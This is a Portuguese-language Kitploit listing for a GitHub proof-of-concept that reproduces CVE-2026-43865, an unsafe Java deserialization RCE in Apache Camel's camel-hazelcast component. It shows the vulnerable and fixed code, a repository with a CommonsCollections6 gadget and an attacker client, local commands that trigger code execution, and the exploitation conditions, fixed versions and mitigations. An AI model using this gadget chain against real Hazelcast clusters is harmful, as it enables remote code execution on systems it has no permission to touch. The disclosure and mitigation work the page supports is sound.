Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-43865 — Reproducer for CVE-2026-43865 — Apache Camel camel-hazelcast default-configured instance unsafe Java deserialization (RCE) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-43865
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHuboscerd/cve-2026-43865

CVE-2026-43865

Reproducer for CVE-2026-43865 — Apache Camel camel-hazelcast default-configured instance unsafe Java deserialization (RCE)

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-hazelcast Reprodução de Desserialização Insegura com Instância Padrão (CVE-2026-43865)

Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-hazelcast do Apache Camel, registrada como CVE-2026-43865. Quando o Camel monta o Config do Hazelcast por conta própria – ou seja, quando nenhuma HazelcastInstance, hazelcastConfigUri ou bean Config fornecido pelo usuário é passado – ele não aplica nenhum filtro de desserialização Java (nem o JavaSerializationFilterConfig do Hazelcast nem um ObjectInputFilter do lado do Camel). Objetos que chegam pelo protocolo do cluster Hazelcast são desserializados dentro da camada de serialização do Hazelcast (ObjectInputStream.readObject) sem restrições de classe. Um atacante que consiga ingressar ou alcançar o cluster pode publicar um objeto serializado malicioso que será desserializado em todos os nós Camel — execução remota de código, presente por padrão e que não requer configuração opcional de endpoint.

Comunicado: https://camel.apache.org/security/CVE-2026-43865.html

Resumo da Vulnerabilidade

Isso é distinto dos comunicados da biblioteca Hazelcast CVE-2016-10750 / CVE-2022-36418 (que tratam do código próprio do Hazelcast). Aqui a falha é que o Camel não aplica a proteção de desserialização que o Hazelcast oferece.

Detalhes Técnicos

Quando nenhuma instância/configuração é fornecida, HazelcastDefaultComponent monta a instância a partir da configuração padrão e não define nenhum filtro de serialização:

root@kitploit:~
// HazelcastDefaultComponent - afetado 4.18.2
if (hazelcastInstance == null && config == null) {
    config = new XmlConfigBuilder().build();
    config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
    config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
    hzInstance = Hazelcast.newHazelcastInstance(config);   // sem JavaSerializationFilterConfig
}

A correção insere um filtro padrão (lista branca java./javax./org.apache.camel., lista negra java.net.) nas instâncias que o Camel cria por conta própria, deixando Config/HazelcastInstance fornecidas pelo usuário inalteradas:

root@kitploit:~
// corrigido 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config);   // <-- adicionado
hzInstance = Hazelcast.newHazelcastInstance(config);

Qualquer estrutura que entregue o objeto desserializado ao Camel o aciona. Este PoC usa um consumidor de fila no modo Poll, onde IQueue.poll() desserializa o elemento cabeça antes que o Camel o roteie:

root@kitploit:~
// HazelcastQueueConsumer (modo Poll) - afetado
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS);  // readObject, sem filtro
exchange.getIn().setBody(body);

A rota da vítima

root@kitploit:~
from("hazelcast-queue:cve?queueConsumerMode=Poll")   // Camel monta a instância padrão (sem filtro)
    .log("Consumido: ${body.class.name}");

Estrutura do repositório — atacante vs. vítima

A vítima é o nó Camel (um membro Hazelcast). O atacante é qualquer parte que consiga alcançar o cluster. Este PoC autocontido executa um cliente Hazelcast (o atacante) que ingressa no mesmo cluster de membro único (dev em 127.0.0.1:5701) e oferece um gadget à fila que a vítima consome.

root@kitploit:~
CVE-2026-43865/
├── pom.xml                 # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile              # executa o app (--add-opens para construção do gadget; endereço loopback do cluster)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # vítima: consumidor hazelcast-queue (instância padrão)
    │   ├── Gadget.java             # gadget CommonsCollections6, dispara durante a desserialização do Hazelcast
    │   └── ExploitController.java  # atacante: cliente Hazelcast oferece o gadget à fila
    └── resources/
        └── application.properties

Em um ataque real os bytes serializados são produzidos pelo próprio cliente/membro Hazelcast do atacante; apenas a vítima precisa da cadeia de gadget no seu classpath. Este PoC constrói o gadget in-process, razão pela qual a JVM é executada com --add-opens java.base/java.util=ALL-UNNAMED — um detalhe de construção do gadget, não relacionado à vulnerabilidade.

Pré-requisitos

  • Java 17+ e Maven 3.8+
  • Docker (executa o reprodutor)

Passos para Reprodução

Passo 1: Construir e iniciar o contêiner

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Passo 2: Acionar a desserialização (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Gadget oferecido à fila hazelcast 'cve' como cliente do cluster.
#    O queue.poll() do nó Camel o desserializou via Hazelcast (sem filtro).
#
#    >>> Prova de RCE — /tmp/pwned existe: true

Passo 3: Verificar

root@kitploit:~
docker exec cve-2026-43865 ls -la /tmp/pwned

Limpeza

root@kitploit:~
docker compose down

Vetores de Ataque

Qualquer rota Camel que use um consumidor hazelcast (hazelcast-topic, hazelcast-queue, hazelcast-seda, hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set), ou o HazelcastAggregationRepository / HazelcastIdempotentRepository, sempre que a instância gerenciada for criada a partir da configuração padrão do Camel e um atacante puder alcançar o cluster.

Condições de Exploração

  1. Um consumidor/repositório camel-hazelcast usando uma instância que o Camel criou a partir de sua configuração padrão (nenhuma HazelcastInstance, hazelcastConfigUri ou bean Config fornecida pelo usuário).
  2. O atacante pode ingressar ou alcançar o cluster Hazelcast (sem autenticação/TLS por padrão).
  3. Uma biblioteca de gadget no classpath (aqui commons-collections:3.2.1).

Correção Recomendada

Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23414), que aplica um JavaSerializationFilterConfig padrão do Hazelcast às instâncias que o Camel cria a partir de sua própria configuração padrão.

Mitigação

Até atualizar:

  1. Configure um filtro de desserialização na instância Hazelcast (JavaSerializationFilterConfig, ou o JVM-wide -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*).
  2. Habilite autenticação e TLS do cluster Hazelcast para restringir quem pode alcançar o cluster.
  3. Remova bibliotecas de gadget do classpath (atualize/remova commons-collections 3.x e similares).

Aviso

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o use contra sistemas sem permissão explícita.

Baixar ferramenta
PropriedadeValor
Componentecamel-hazelcast (qualquer consumidor + HazelcastAggregationRepository / HazelcastIdempotentRepository)
Classe Afetadaorg.apache.camel.component.hazelcast.HazelcastDefaultComponent (criação de instância com configuração padrão)
CWECWE-502: Desserialização de Dados Não Confiáveis
ImpactoExecução Remota de Código (RCE) em cada nó Camel do cluster
GatilhoUm consumidor/repositório hazelcast cuja instância gerenciada é criada a partir da configuração padrão do Camel
Versões AfetadasDe 4.0.0 anterior a 4.14.8, de 4.15.0 anterior a 4.18.3, de 4.19.0 anterior a 4.21.0
Versões Corrigidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23414
Relatorgaorenyusi